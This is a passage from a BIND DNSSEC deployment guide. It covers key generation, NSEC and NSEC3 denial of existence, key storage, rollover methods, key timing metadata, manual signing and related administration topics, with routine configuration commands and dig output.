                ) ; ZSK; alg = RSASHA256; key id = 60798
example.com.        600 IN DNSKEY 257 3 8 (
                AwEAAb3lVweaj4dA9dvmcwlkaVpJ4/3ccXbRjgV7jqh1
                p0REL8fI0Z42E9SdxdsdTi+2XYcmHDQYEoqwYh70t/4P
                4oObZFIUHl+hhKLdXQNZGtzT0xF60k527N9cHPddoXzg
                AXYBtGLlLMSJcV8s0rw/i+64xNGdRWpFRdo78RhJ5LU3
                1SAPUnhi3OvJgsOpBPntrSyX6iA5ZotitxZJNTqP+Jck
                lhPWFgFOBgdvWJ369BRlDGy/m8+pctypZq1hy7ZteHet
                r55/cLBXY1BEzz3Q8vLUnSOu5An8IF0v2Gt7hOyY3nqu
                bU5vjCbogLj1K5ySBAJbHcCPAFrPGSIfmRize+U=
                ) ; KSK; alg = RSASHA256; key id = 40327

;; Query time: 4 msec
;; SERVER: 192.168.1.13#53(192.168.1.13)
;; WHEN: Mon Nov 03 21:51:28 CST 2014
;; MSG SIZE  rcvd: 888

Did you spot the mistake? We have the correct key data in our configuration, but the key type was incorrect. In our configuration, the key was configured as a KSK (257), while the authoritative server indicates that it is a ZSK (256).

Chapter 6. Advanced Discussions

6.1. Key Generation

6.1.1. Can I Use the Same Key Pair for Multiple Zones?

Yes and no. Good security practice suggests that you should use unique key pairs for each zone, just like how you should have different passwords for your email account, social media login, and online banking credential. On a technical level, this is completely feasible, but then multiple zones are at risk when one key pair is compromised. If you have hundreds or thousands (or even hundreds of thousands) of zones to administer, a single key pair for all might be less error-prone to manage. You may choose to use the same approach to password management: use unique passwords for your bank accounts and shopping sites, but use a standard password for your not-very-important logins. So categorize your zones, high valued zones (or zones that have specific key rollover requirements) get their own key pairs, while other more “generic” zones can use a single key pair for easier management.

6.1.2. Do I Need Separate ZSK and KSK?

No, it is not required that you create two separate sets of keys, but you should, for operational ease. The DNSSEC protocol itself does not require two classes of keys, but for operational practicality, having two classes of keys make the life of a typical DNS(SEC) administrator’s life easier. One of the advantages of having separate ZSK and KSK is a better balance between security and ease of use: KSK can be stored in a secure and less accessible area, while ZSK is easily accessible for routine use. For more details and considerations on this topic, please refer to RFC 6781 Section 3 .

Please refer to Table 4.1, “ZSK KSK Comparison” for a comparison of how each of the keys are used.

6.1.3. Which Algorithm?

There are at least three algorithm choices for DNSSEC as of this writing (late 2014):

  • RSA
  • Digital Signature Algorithm (DSA)
  • Elliptic Curve DSA (ECDSA)

While all three are supported by BIND, RSA is the only one that is mandated to be implemented with DNSSEC, and at the time of this writing, is the most widely supported algorithm by both name servers and clients. For the near future, RSA/SHA-256 is the algorithm of choice, with RSA/SHA-1 being an alternative.

However, RSA is a little long in the tooth, and ECDSA is emerging as the next new cryptographic standard. In fact, the US federal government has recommended to stop using RSA altogether by September 2015, and migrate to using ECDSA or similar algorithms.

So for now, use RSA, but keep your eyes on emerging new standards or requirements. For details about rolling over DNSKEYs to a new algorithm, see Section 6.4.5, “DNSKEY Algorithm Rollovers”.

6.1.4. Key Sizes

The choice of key sizes is a classic issue of finding the balance between performance and security. The larger the key size, the longer it takes for an attacker to crack the key; but larger keys also means more resources are needed both when generating signatures (authoritative servers) and verifying signatures (recursive servers).

Of the two sets of keys, ZSK is used much more frequently. Whenever zone data changes, or when signatures expire, ZSK is used, so performance certainly is of a bigger concern. As for KSK, it is used less frequently, so performance is less of a factor, but its impact is bigger because of its role in signing other keys.

In this guide, the following key length were chosen for each set, with the recommendation that they be rotated more frequently for better security:

  • ZSK: RSA 1024 bits, rollover every year
  • KSK: RSA 2048 bits, rollover every five years

These should be the minimum key sizes one should choose.

If you choose to implement larger key sizes, keep in mind that larger key size results in larger DNS responses, and this may mean more load on network resources. Depending on network configuration, end users may even experience resolution failures due to the increased response sizes, as we have discussed in Section 3.5, “What’s EDNS All About (And Why Should I Care)?”.

6.2. Proof of Non-Existence (NSEC and NSEC3)

How do you prove that something does not exist? This zen-like question is an interesting one, and in this section we will provide an overview of how DNSSEC solves the problem.

Why is it even important to have authenticated denial of existence? Couldn’t we just send back a “hey, what you asked for does not exist”, and somehow generate a digital signature to go with it, proving it really is from the correct authoritative source? Well, the technical challenge of signing nothing aside, this solution has flaws, one of which is it gives an attacker a way to create the appearance of denial of service by replaying this message on the network.

We are going to use a little story, and tell it three different times to illustrate how proof of nonexistence works. In our story, we run a small company with three employees: Alice, Edward, and Susan. We list their names in a phone directory, and we hired a nameless intern to answer our phone calls.

If we followed the approach of giving back the same answer no matter what was asked, when people called and asked for “Bob”, our intern would simply answer: “Sorry, that person doesn’t work here, and to prove that I am not lying, here’s the signature: ‘deaf coffee beef'”. Now this is a legitimate answer, but since the signature doesn’t change, an attacker could record this message, and when the next person called in asking for Susan, she will hear the exact same message: “Sorry, that person doesn’t work here, and to prove that I am not lying, here’s the signature: ‘deaf coffee beef'”. And this answer is verifiable, since the magic signature (“deaf coffee beef” ) can be validated [4]. Now the attacker has successfully fooled the caller into thinking that Susan doesn’t work at our company, and might even be able to convince all callers that no one works at this company (no names exist).

To solve this problem, two different solutions were created, we will look at the first one, NSEC, next.

6.2.1. NSEC

The NSEC record is used to prove that something really does not exist, by providing the name before it, and the name after it. Using our tiny company example, this would be analogous to someone calling for Bob over the phone, and our nameless intern answered the phone with: “I’m sorry, that person doesn’t work here. The name before that is Alice, and the name after that is Edward”. Let’s say someone called in again for a non-existent person, Oliver, the answer would be: “I’m sorry, that person doesn’t work here. The name before that is Edward, and the name after that is Susan”. Another caller asked for Todd, and the answer would be: “I’m sorry, that person doesn’t work here. The name before that is Susan, and the name after that is Alice”.

So we end up with three NSEC records:

alice.example.com.  300 IN  NSEC    edward.example.com. A RRSIG NSEC
edward.example.com. 300 IN  NSEC    susan.example.com.  A RRSIG NSEC
susan.example.com.  300 IN  NSEC    alice.example.com.  A RRSIG NSEC

What if the attacker tried to use the same replay method described earlier? If someone called for Edward, none of the three answers would fit. If attacker played message #1, “I’m sorry, that person doesn’t work here. The name before it is Alice, and the name after it is Edward”, it is obviously false, since “Edward” is in the response; same for #2, Edward and Susan. As for #3, Edward does not fall in range after Susan or before Alice, and the caller can logically deduct that it was an incorrect answer.

In BIND inline signing, your zone data will be automatically sorted on the fly before generating NSEC records, much like how a phone directory is sorted.

Unfortunately, the NSEC solution has a few drawbacks, one of which is trivial “zone walking”. A curious person can keep calling back, and our nameless, gullible intern will keep divulging information about our employees. Imagine if the caller first asked: “Is Bob there?” and received back the names Alice and Edward. The caller can then call back again: “Is Edward A. there?”, and will get back Edward and Susan. Repeat the process enough times, the caller will eventually learn every name in our company phone directory. For many of you, this may not be a problem, since the very idea of DNS is similar to a public phone book: if you don’t want a name to be known publicly, don’t put it in DNS! Consider using DNS views (split DNS) and only display your sensitive names to a selective audience.

The second drawback of NSEC is a actually increased operational overhead: no opt-out mechanism for insecure child zones, this generally is a problem for parent zone operators dealing with a lot of insecure child zones, such as .com. To learn more about opt-out, please see Section 6.2.2.2, “NSEC3 Opt-Out”.

6.2.2. NSEC3

NSEC3 adds two additional features that NSEC does not have:

  1. No easy zone enumeration.
  2. Provides a mechanism for child zone to opt out.

Recall, in Section 6.2.1, “NSEC”, we provided a range of names to prove that something really does not exist. But as it turns out, even disclosing these ranges of names becomes a problem: this made it very easy for the curious minded to look at your entire zone. Not only that, unlike a zone transfer, this “zone walking” is more resource intensive. So how do we disclose something, without actually disclosing it?

The answer is actually quite simple, hashing functions, or one-way hashes. Without going into many details, think of it like a magical meat grinder. A juicy piece of ribeye steak goes in one end, and out comes a predictable shape and size of ground meat (hash) with a somewhat unique pattern. No matter how hard you try, you cannot turn the ground meat back into the juicy ribeye steak, that’s what we call a one-way hash.

NSEC3 basically runs the names through a one-way hash, before giving it out, so the recipients can verify the non-existence, without any knowledge of the actual names.

So let’s tell our little phone receptionist story for the third time, this time with NSEC3. This time, our intern is not given a list of actual names, he is given a list of “hashed” names. So instead of Alice, Edward, and Susan, the list he is given reads like this (hashes shortened for easier reading):

FSK5....  (produced from Edward)
JKMA.... (produced from Susan)
NTQ0.... (produced from Alice)

Then, the phone rings, someone’s asking for Bob again. Our intern takes the name Bob through a hash function, and the result is L8J2…, so he tells them on the phone: “I’m sorry, that person doesn’t work here. The name before that is JKMA…, and the name after that is NTQ0…”. There, we proved Bob doesn’t exist, without giving away any names! To put that into proper NSEC3 resource records, they would look like this (again, hashes shortened for display):

FSK5....example.com. 300 IN NSEC3 1 0 10 1234567890ABCDEF  JKMA... A RRSIG
JKMA....example.com. 300 IN NSEC3 1 0 10 1234567890ABCDEF  NTQ0... A RRSIG
NTQ0....example.com. 300 IN NSEC3 1 0 10 1234567890ABCDEF  FSK5... A RRSIG

Hashes and Privacy

Just because we employed one-way hash functions does not mean there’s no way for a determined individual to figure out what your zone data is. Someone could still gather all of your NSEC3 records and hashed names, and perform an offline brute-force attack by trying all possible combinations to figure out what the original name is. This would be like if someone really wanted to know how you got the ground meat, he could buy all cuts of meat and ground it up at home using the same model of meat grinder, and compare the output with the meat you gave him. It is expensive and time consuming (especially with real meat), but like everything else in cryptography, if someone has enough resources and time, nothing is truly private forever. If you are concerned about someone performing this type of attack on your zone data, see about adding salt as described in Section 6.2.2.3, “NSEC3 Salt”.

6.2.2.1. NSEC3PARAM

The above NSEC3 examples used four parameters: 1, 0, 10, and 1234567890ABCDEF. The rndc tool may be used to set the NSEC3 parameters for a zone; for example:

# rndc signing -nsec3param 1 0 10 1234567890abcdef example.com

1 represents the algorithm, 0 represents the opt-out flag, 10 represents the number of iterations, and 1234567890abcedf is the salt. Let’s look at how each one can be configured:

  • Algorithm: Not much of a choice here, the only defined value currently is 1 for SHA-1.
  • Opt-out: Set this to 1 if you want to do NSEC3 opt-out, which we will discuss in Section 6.2.2.2, “NSEC3 Opt-Out”.
  • Iterations: iterations defines the number of additional times to apply the algorithm when generating an NSEC3 hash. More iterations yields more secure results, but consumes more resources for both authoritative server sand validating resolvers. In the regard, we have similar considerations as we’ve seen in Section 6.1.4, “Key Sizes” of security versus resources.
  • Salt: The salt is a string of data expressed in hexadecimal, or a hyphen (`-‘) if no salt is to be used. We will learn more about salt in Section 6.2.2.3, “NSEC3 Salt”.

For example, to create an NSEC3 chain using the SHA-1 hash algorithm, no opt-out flag, 10 iterations, and a salt value of “FFFF”, use:

# rndc signing -nsec3param 1 0 10 FFFF example.com

To set the opt-out flag, 15 iterations, and no salt, use:

# rndc signing -nsec3param 1 1 15 - example.com

6.2.2.2. NSEC3 Opt-Out

One of the advantages of NSEC3 over NSEC is the ability for parent zones to publish less information about its child or delegated zones. Why would you ever want to do that? Well, if a significant number of your delegations are not yet DNSSEC-aware, meaning they are still insecure or unsigned, generating DNSSEC-records for their NS and glue records is not a good use of your precious name server resources.

The resources may not seem like a lot, but imagine in if you are the operator of busy top level domains such as .com or .net, with millions and millions of insecure delegated domain names, it quickly adds up. As of late 2014, less than 0.1% of all .com zones are signed. Basically, without opt-out, if you have 1,000,000 delegations, only 5 of which are secure, you still have to generate NSEC RRset for the other 999,995 delegations; with NSEC3 opt-out, you will have saved yourself 999.995 sets of records.

For most DNS administrators who do not manage a large number of delegations, the decision whether or not to use NSEC3 opt-out is probably not relevant.

To learn more about how to configure NSEC3 opt-out, please see Section 7.3.4, “NSEC3 Optout Recipe”.

6.2.2.3. NSEC3 Salt

As described in Section 6.2.2, “NSEC3”, while NSEC3 doesn’t put your zone data in plain public display, it is still not difficult for an attacker to collect all the hashed names, and perform an offline attack. All that is required is running through all the combinations to construct a database of plaintext names to hashed names, also known as a “rainbow table”.

There is one more features NSEC3 gives us to provide additional protection: salt. Basically, salt gives us the ability introduce further randomness into the hashed results. Whenever the salt is changed, any pre-computed rainbow table is rendered useless, and a new rainbow table must be re-computed. If the salt is changed from time to time, it becomes difficult to construct a useful rainbow table, thus difficult to walk the DNS zone data programmatically. How often you want to change your NSEC3 salt is up to you.

To learn more about what steps to take to change NSEC3, please see Section 7.3.3, “Changing NSEC3 Salt Recipe”.

6.2.3. NSEC or NSEC3?

So which one should you choose? NSEC or NSEC3? There is not really a single right answer here that fits everyone. It all comes down to your needs or requirements.

If you prefer not to make your zone easily enumerable, implementing NSEC3 paired with a new salt periodically will provide a certain level of privacy protection. However, someone could still randomly guess the names in your zone (such as ‘ftp’ or ‘www’), as in the traditional insecure DNS.

If you have many many delegations, and have a need for opt-out to save resources, NSEC3 is for you.

Other than that, using NSEC is typically a good choice for most zone administrators, as it relieves the authoritative servers from additional cryptographic operations NSEC3 requires, and NSEC is comparatively easier to troubleshoot than NSEC3.

6.3. Key Storage

6.3.1. Public Key Storage

The beauty of a public key cryptography system is that the public key portion can and should be distributed to as many people as possible. As the administrator, you may want to keep the public keys on an easily accessible file system for operational ease, but there is no need to securely store them, since both ZSK and KSK public keys are published in the zone data as DNSKEY resource records.

Additionally, a portion of the KSK public key is also uploaded to the parent zone (see Section 4.4, “Working with Parent Zone” for more details), and is published by the parent zone as DS records.

6.3.2. Private Key Storage

Ideally, private keys should be stored offline, in secure devices such as a smart card. Operationally, however, this creates certain challenges, since we need the private key to create RRSIG resource records, and it would be a hassle to bring the private key out of storage every time the zone file changes or when signatures expire.

A common approach to strike the balance between security and practicality is to have two sets of keys, a ZSK set, and a KSK set. ZSK private key is used to sign zone data, and can be kept online for ease of use; KSK private key is used to sign just the DNSKEY (the ZSK), it is used less frequently, and can be stored in a much more secure and restricted fashion.

For example, a KSK private key stored on a USB flash drive that is kept in a fireproof safe, only brought online once a year to sign a new pair of ZSK, combined with a ZSK private key stored on the network file-system available for routine use, maybe be a good a good balance between operational flexibility and security.

And if you need to change your keys, please see Section 6.4.1, “Key Rollovers”.

6.3.3. Hardware Security Modules (HSM)

A Hardware Security Module (HSM) comes in different shapes and sizes, but as the name indicates, it’s a physical device or devices, usually with some or all of the following features:

  • Tamper-resistant key storage
  • Strong random number generation
  • Hardware for faster cryptographic operations

Most organizations do not incorporate HSMs into their security practices due to cost and the added operational complexity.

BIND supports PKCS #11 (Public Key Cryptography Standard #11) for communication with HSMs and other cryptographic support devices. For more information on how to configure BIND to work with HSMs, please refer to the BIND 9 Administrator Reference Manual.

6.4. Key Management

Best practice for DNSSEC key management is to use different keys to sign zone data (ZSK) and DNSKEY data (KSK), as we’ve discussed in Section 6.1.2, “Do I Need Separate ZSK and KSK?”. Since these keys serve different functions, their timing and methods of rollovers are also different. In Section 4.6, “Maintenance Tasks”, we have broadly talked about how to perform a generic ZSK and KSK rollover. In this section, we will discuss two topics in more detail:

  1. Different considerations and methods of key rollovers.
  2. Key meta data and management

6.4.1. Key Rollovers

Generally speaking, ZSK should be rolled more frequently than KSK. In Section 4.6, “Maintenance Tasks”, we described at a very high level how to roll ZSK every year using key pre-publication (described below), and how to roll KSK every five years using double DS (also described below). Here, we show some other methods of rolling keys. To see examples of key rolling, please refer to Section 7.2, “Rollover Recipes”. For (far) deeper discussions and considerations on the topic of key rolling, check out https://tools.ietf.org/html/draft-ietf-dnsop-dnssec-key-timing.

6.4.1.1. ZSK Rollover Methods

Generally speaking, ZSK is smaller in size (compared to KSK) for performance, but smaller keys take less time to break, thus ZSK should be changed, or rolled, more frequently. ZSK can be rolled in one of the following two ways:

  1. Pre-publication: Publish new ZSK into zone data before it is actually used. Wait at least one TTL so the world’s recursive servers know about both keys, then stop using the old key and generate new RRSIG using the new key. Wait at least another TTL, so the cached old key data is expunged from world’s recursive servers, before removing the old key.

    The benefit of the Pre-publication approach is it does not dramatically increase the zone size, but the duration of the rollover is longer. If not sufficient amount of time has passed after new ZSK is published, some resolvers may only have the old ZSK cached when the new RRSIG records are published, and validation may fail. This is the method that was described in Section 4.6.1, “ZSK Rollover” and Section 7.2.1, “ZSK Rollover Recipe”

  2. Double Signature: Publish new ZSK and new RRSIG, essentially double the size of the zone. Wait at least one TTL before removing the old ZSK and old RRSIG.

    The benefit of the Double Signature approach is that it is easier to understand and execute, but suffers from increased zone size (essentially double) during a rollover event.

6.4.1.2. KSK Rollover Methods

Rolling KSK requires interaction with the parent zone, so operationally this may be more complex than rolling ZSK. There are three methods of rolling KSK:

  1. Double-DS: the new DS record is published. After waiting for this change to propagate into caches, the KSK is changed. After a further interval during which the old DNSKEY RRset expires from caches, the old DS record is removed.

    Double-DS is the reverse of Double-KSK: the new DS is published at the parent first, then the KSK at the child is updated, then remove the old DS at the parent. The benefit is that the size of the DNSKEY RRset is kept to a minimum, but interactions with the parent zone is increased to two events. This is the method that is described in Section 4.6.2, “KSK Rollover” and Section 7.2.2, “KSK Rollover Recipe”.

  2. Double-KSK: the new KSK is added to the DNSKEY RRset which is then signed with both the old and new key. After waiting for the old RRset to expire from caches, the DS record in the parent zone is changed. After waiting a further interval for this change to be reflected in caches, the old key is removed from the RRset.

    Basically, the new KSK is added first at the child zone and being used to sign DNSKEY, then the DS record is changed, followed by the removal of the old KSK. Double-KSK limits the interaction with the parent zone to a minim, but for the duration of the rollover, the size of the DNSKEY RRset is increased.

  3. Double-RRset: the new KSK is added to the DNSKEY RRset which is then signed with both the old and new key, and the new DS record added to the parent zone. After waiting a suitable interval for the old DS and DNSKEY RRsets to expire from caches, the old DNSKEY and DS record are removed.

    Double-RRset is the fastest way to roll the KSK (shortest rollover time), but has the drawbacks of both of the other methods: a larger DNSKEY RRset and two interactions with the parent.

6.4.2. Key Management and Metadata

In Section 4.3.2.4, “auto-dnssec”, we alluded to that auto-dnssec is doing a lot of automation for us so we don’t have to, and we’ve also alluded to something called the key timing metadata. In fact, if you looked at your key file, it likely already has a section near the top that looks like this:

; Publish: 20141120094612 (Thu Nov 20 17:46:12 2014)
; Activate: 20141120094612 (Thu Nov 20 17:46:12 2014)

These are only two of the five metadata fields of a key. Below is a complete list of each of the metadata fields, and how it affects your key’s behavior:

  1. Publish: Sets the date on which a key is to be published to the zone. After that date, the key will be included in the zone but will not be used to sign it (yet). This is notifying validating resolvers that we are about to introduce a new key. By default, if not specified during creation time, this is set to the current time, meaning the key will be published as soon as named picks it up.
  2. Activate: Sets the date on which the key is to be activated. After that date, the key will be included in the zone and used to sign it. By default, if not specified during creation time, this is set to the current time, meaning the key will be used to sign data as soon as named picks it up.
  3. Revoke: Sets the date on which the key is to be revoked. After that date, the key will be flagged as revoked. It will be included in the zone and will be used to sign it. This is used to notify validating resolvers that this key is about to be removed or retired from the zone.
  4. Inactive: Sets the date on which the key is to become inactive. After that date, the key will still be included in the zone, but it will not be used to sign it. This sets the “expiration” or “retire” date for a key.
  5. Delete: Sets the date on which the key is to be deleted. After that date, the key will no longer be included in the zone, but it continues to exist on the file system or key repository.

You can set these metadata fields on a key pair as you’ve seen in Section 4.6.1, “ZSK Rollover” using commands such as dnssec-keygen or dnssec-settime.

Table 6.1. Key Metadata Comparison

Metadata Included in Zone File? Used to Sign Data? Purpose
Publish Yes No Introducing a key soon to be active
Activate Yes Yes Activation date for new key
Revoke Yes Yes Notifying a key soon to be retired
Inactive Yes No Inactivate or retire a key
Delete No No Deletion or removal of key from zone


6.4.2.1. Manual Key Management and Signing

This guide is intended as an introductory to DNSSEC deployment using BIND. Since BIND comes with a set of features to automate key loading and signing, that is the recommended configuration for readers of this document. In this section, we will only briefly cover tools and commands to manually load keys and manually sign zone data, but not go into great details.

The directive auto-dnssec maintain makes named check for new keys and load them automatically on an interval. If you wish to not automate this process, you could opt to change it to auto-dnssec off. This makes all key management manual, and to load new keys, you will need to execute the command rndc loadkeys example.com.

To manually sign the zone, first, you need to edit the zone file to make sure the proper DNSKEY entries are included in your zone file, then use the command dnssec-signzone as such:

# cd /etc/bind/keys/example.com/
# dnssec-signzone -A -t -N INCREMENT -o example.com -f /etc/bind/db/example.com.signed.db \
> /etc/bind/db/example.com.db Kexample.com.+008+17694.key Kexample.com.+008+06817.key
Verifying the zone using the following algorithms: RSASHA256.
Zone fully signed:
Algorithm: RSASHA256: KSKs: 1 active, 0 stand-by, 0 revoked
                      ZSKs: 1 active, 0 stand-by, 0 revoked
/etc/bind/db/example.com.signed.db
Signatures generated:                       17
Signatures retained:                         0
Signatures dropped:                          0
Signatures successfully verified:            0
Signatures unsuccessfully verified:          0
Signing time in seconds:                 0.046
Signatures per second:                 364.634
Runtime in seconds:                      0.055

The -o switch explicitly defines the domain name (example.com in this case), -f switch specifies the output file name. The second line has 3 parameters, they are the unsigned zone name (/etc/bind/db/example.com.db), ZSK, and KSK file names. This generated a plain text file /etc/bind/db/example.com.signed.db, which you can verify for correctness.

Finally, you’ll need to update named.conf to load the signed version of the zone, so it looks something like this:

zone "example.com" IN {
    type master;
    file "db/example.com.signed.db";
};

You will need to re-sign periodically as as well as every time the zone data changes.

6.4.3. How Long Do I Wait Before Deleting Old Data?

If you have followed the examples described in Section 4.1, “Easy Start Guide for Signing Authoritative Zones” and Section 4.6, “Maintenance Tasks”, old keys and old signatures are automatically removed from the zone.

However, it is still good to discuss why bother waiting a period of time before removing any old data, be it DNSKEY or RRSIG. The goal here is to not “orphan” anyone out there who may be getting a cached answer, and the information to verify that cached answer doesn’t exist anymore. For example, if you chose to pre-publish your ZSK, but did not wait long enough before removing the old ZSK, you’re running with the risk that there may be users out there receiving the old RRSIG out of cache, but they are unable to verify the cached old RRSIG because the old ZSK has already been removed. To these users, the domain names would fail validation, until the cached RRSIG entries expire, and their validating resolver retrieves the new RRSIG signed by the new ZSK.

In Section 4.6, “Maintenance Tasks”, we recommended using a very generic and easy to remember 30 days as the amount of time to wait, partly because 30 days is also the default validity time for RRSIG. If you decide to manage your own zone signing and record removing, you should wait at least the duration of your old record’s TTL before attempting to removing it from the zone. It is probably better to err on the safe side and leave the old data in the zone a little longer.

Note

One of the worst things to happen during a rollover is to “orphan” old keys, by deleting it too soon from the zone. This will result in the world’s recursive servers come asking “hey, do you have the key(s) for these older signatures?” and not get an answer to satisfy their needs. The recursive servers would have to fail the validation, and the users may think you zone has been compromised because the keys and signatures to match up. This is why it is a good idea to wait a period of time in-between each phase of the key rollover, to ensure that not only new information has propogated to the world, but also that old information that was previously published to the world have expired from whoever has been caching them. This is why in this document we have chosen a very conservative period of 30 days. If you have unusually long TTL or signature expirations, it may be wise to change the rollover schedule accordingly.

6.4.4. Emergency Key Rollovers

Keys are generally rolled at a regular schedule (that is, if you choose to roll them at all). But sometimes, you may have to rollover keys out-of-schedule due to a security incident. The aim of an emergency rollover is re-sign the zone with a new key as soon as possible, because when a key is suspected of being compromised, the malicious attacker (or anyone who has access to the key) could impersonate you, and trick other validating resolvers into believing that they are receiving authentic, validated answers.

During an emergency rollover, you would follow the same operational procedures as described in Section 7.2, “Rollover Recipes”, with the added task of reducing the TTL of current active (possibly compromised) DNSKEY RRset, in attempt to phase out the compromised key faster before the new key takes effect. The time frame should be significantly reduced from the 30-days-apart example, since you probably don’t want to wait up to 60 days for the compromised key to be removed from your zone.

Another method is to always carry a spare key with you at all times. You could always have a second key (pre)published (and hopefully this one was not compromised the same time as the first key), so if the active key is compromised, you could save yourself some time to immediately activate the spare key, and all the validating resolvers should already have this spare key cached, thus saving you some time.

With KSK emergency rollover, you would have to also consider factors related to your parent zone, such as how quickly they can remove the old DS record and published the new ones.

As usual, there is a lot more to consider when it comes to emergency key rollovers. For more in-depth considerations, please check out https://tools.ietf.org/html/draft-ietf-dnsop-dnssec-key-timing.

6.4.5. DNSKEY Algorithm Rollovers

From time to time new digital signature algorithms with improved security are introduced, and it may be desirable for administrators to roll over DNSKEYs to a new algorithm, e.g. from RSASHA1 (algorithm 5 or 7) to RSASHA256 (algorithm 8). The algorithm rollover must be done with care in a stepwise fashion to avoid breaking DNSSEC validation.

As with other DNSKEY rollovers, when the zone is of type master, an algorithm rollover can be accomplished using dynamic updates or automatic key rollovers. For zones of type slave, only automatic key rollovers are possible, but the dnssec-settime utility can be used to control the timing of such.

In any case the first step is to put DNSKEYs using the new algorithm in place. You must generate the K* files for the new algorithm and put them in the zone’s key directory where named can access them. Take care to set appropriate ownership and permissions on the keys. If the auto-dnssec zone option is set to maintain, named will automatically sign the zone with the new keys based on their timing metadata when the dnssec-loadkeys-interval elapses or you issue the rndc loadkeys command. Otherwise for zones of type master, you can use nsupdate to add the new DNSKEYs to the zone. This will cause named to use them to sign the zone. For zones of type slave, e.g. on a bump-in-the-wire inline signing server, nsupdate cannot be used.

Once the zone has been signed by the new DNSKEYs, you must inform the parent zone and any trust anchor repositories of the new KSKs, e.g. you might place DS records in the parent zone through your DNS registrar’s website.

Before starting to remove the old algorithm from a zone, you must allow the maximum TTL on its DS records in the parent zone to expire. This will assure that any subsequent queries will retrieve the new DS records for the new algorithm. After the TTL has expired, you can remove the DS records for the old algorithm from the parent zone and any trust anchor repositories. You must then allow another maximum TTL interval to elapse so that the old DS records disappear from all resolver caches.

The next step is to remove the DNSKEYs using the old algorithm from your zone. Again this can be accomplished using nsupdate to delete the old DNSKEYs (master zones only) or by automatic key rollover when auto-dnssec is set to maintain. You can cause the automatic key rollover to take place immediately by using the dnssec-settime utility to set the Delete date on all keys to any time in the past. (See dnssec-settime -D <date/offset> option.)

After adjusting the timing metadata, the rndc loadkeys command will cause named to remove the DNSKEYs and RRSIGs for the old algorithm from the zone. Note also that with the nsupdate method, removing the DNSKEYs also causes named to remove the associated RRSIGs automatically.

Once you have verified that the old DNSKEYs and RRSIGs have been removed from the zone, the final step (optional) is to remove the key files for the old algorithm from the key directory.

6.5. Other Topics

6.5.1. DNSSEC and Dynamic Updates

Dynamic DNS (DDNS) actually is independent of DNSSEC. DDNS provides a mechanism other than editing the zone file or zone database, to edit DNS data. Most clients and DNS servers have the capability to handle dynamic updates, and DDNS can also be integrated as part of your DHCP environment.

When you have both DNSSEC and dynamic updates in your environment, updating zone data works the same way as with traditional (insecure) DNS: you can use rndc freeze before editing the zone file, and rndc thawwhen you have finished editing, or you could use the command nsupdate to add, edit, or remove records like this:

$ nsupdate
> server 192.168.1.13
> update add xyz.example.com. 300 IN A 1.1.1.1
> send
> quit

The examples provided in this guide will make named automatically re-sign the zone whenever its content has changed. If you decide to sign your own zone file manually, you will need to remember to executed the dnssec-signzone whenever your zone file has been updated.

As far as system resources and performance is concerned, be mindful that when you have a DNSSEC zone that changes frequently, every time the zone changes, your system is executing a series of cryptographic operations to (re)generate signatures and NSEC or NSEC3 records.

6.5.2. DNSSEC and Inline Signing

ISC introduces the “inline-signing” option with the release of BIND 9.9, which allows named to sign zones completely transparently. named does this by automatically creating an internal version of the zone that is signed on the fly, and only the signed version of the zone is presented to queries. The unsigned version of the zone file is untouched on the file system, but not served.

This features simplifies DNSSEC deployment, below are two common scenarios of how this feature can be used:

  1. You administer the master server, with zone transfers to other slave servers: This is what most examples in this guide describes, you have control over the master server, you you can follow the instruction inSection 4.1, “Easy Start Guide for Signing Authoritative Zones” to generate key pairs and modify named.conf. A signed version of the zone is either generated on the fly by inline-signing, and zone transfers will take care of synchronizing the signed zone data to all slave name servers.
  2. You cannot easily modify the master sever configuration, but still would like all slave servers to get DNSSEC zones: you can setup a “middle box” that all slave name servers transfer data from, and your middle box gets its zone from the master server. You do not need to modify the master name server configuration at all, on the middle box, set it up to have inline signing enabled, whenever your middle box receives zone transfer (unsigned) from the master server, a signed version is generated on the fly, and this is the version that will be transferred out to the other slave name servers.

For more details and configuration examples on Inline Signing, please see Section 7.1, “Inline Signing Recipes”.

6.5.3. DNSSEC Look-aside Validation (DLV)

First of all, if you are running older versions of BIND9 on your validating resolver, specifically, older than 9.4.3-P2, 9.5.1-P2, or 9.6.1, dnssec-lookaside is not supported.

So what is it? DNSSEC Look-aside Validation (DLV) is an extension to the DNSSEC protocol. It is designed to assist in early DNSSEC adoption by simplifying the configuration of recursive servers and lessen the burden of key management for the administrators. Without DLV, in the absence of a fully signed path from root to a zone, administrators wishing to enable DNSSEC validation would have to configure and maintain multiple trust anchors or managed keys in their configuration.

DLV removes the need for manual key management by identifying a trusted repository through which those keys can be securely retrieved by the validating resolver when it needs them. Basically, someone else (in this case, ISC) is performing the tedious task of trust anchor management, and your validating resolver just needs to trust that someone else (in this case, ISC) is doing a good job maintaining these trust anchors for you.

To enable DLV on your validating resolver, place this line in your configuration file and reload named:

dnssec-lookaside auto;

Warning

ISC plans to discontinue the DLV service at some point in the future, as DNSSEC deployment is nearing a more mature stage where most top level domains are signed and more and more registrars are DNSSEC-ready. If you are currently relying on DLV service provided by ISC, be aware that the service will not be available forever.

6.5.4. DNSSEC on Private Networks

Before we discuss DNSSEC on private networks, let’s clarify what we mean by private networks. In this section, private networks really refers to a private or internal DNS view. Most DNS products offer the ability to have different version of DNS answers, depending on the origin of the query. This feature is often called DNS views or split DNS, and is most commonly implemented as an “internal” versus an “external” setup.

For instance, your organization may have a version of example.com that is offered to the world, and its names most likely resolves to publicly reachable IP addresses. You may also have an internal version of example.comthat is only accessible when you are on the company’s private networks or via a VPN connection. These private networks typical fall under 10.0.0.0/8, 172.16.0.0.0/12, or 192.168.0.0.0/16 for IPv4.

So what if you want to offer DNSSEC for your internal version of example.com? This is actually a more involving question, and we can only cover this topic briefly in this document.

Deploying DNSSEC in this context is possible. Because private networks are usually trusted, there may be less need to worry about someone hijacking your DNS traffic. This is commonly known as the “last mile” in DNS delivery. If you wish to deploy DNSSEC on your private networks, here are some scenarios to consider:

  1. If your name server is configured as both the validating resolver and the internal authoritative server, the answers returned to your clients will not be validated at all. This is because the answer is coming directly from the authoritative server, thus the Authoritative Answer (aa) bit is set, and by definition, it is not validated. What this means is, to a regular client making the query, the secure authoritative answer looks exactly the same as the insecure authoritative answer.
  2. If you have two name server instances running, one acting as the validating resolver, and one acting as the internal authoritative name server, it is possible to actually validate answers, provided that you have installed the trust anchor(s) necessary for your internal zones on the validating resolver. If no trust anchors are installed, your validating resolver will go out to root, and attempt to validate internal answers against external authorities (and fail). In this setup, the client gets back the Authenticated Data (ad) bit when querying against the validating resolver.
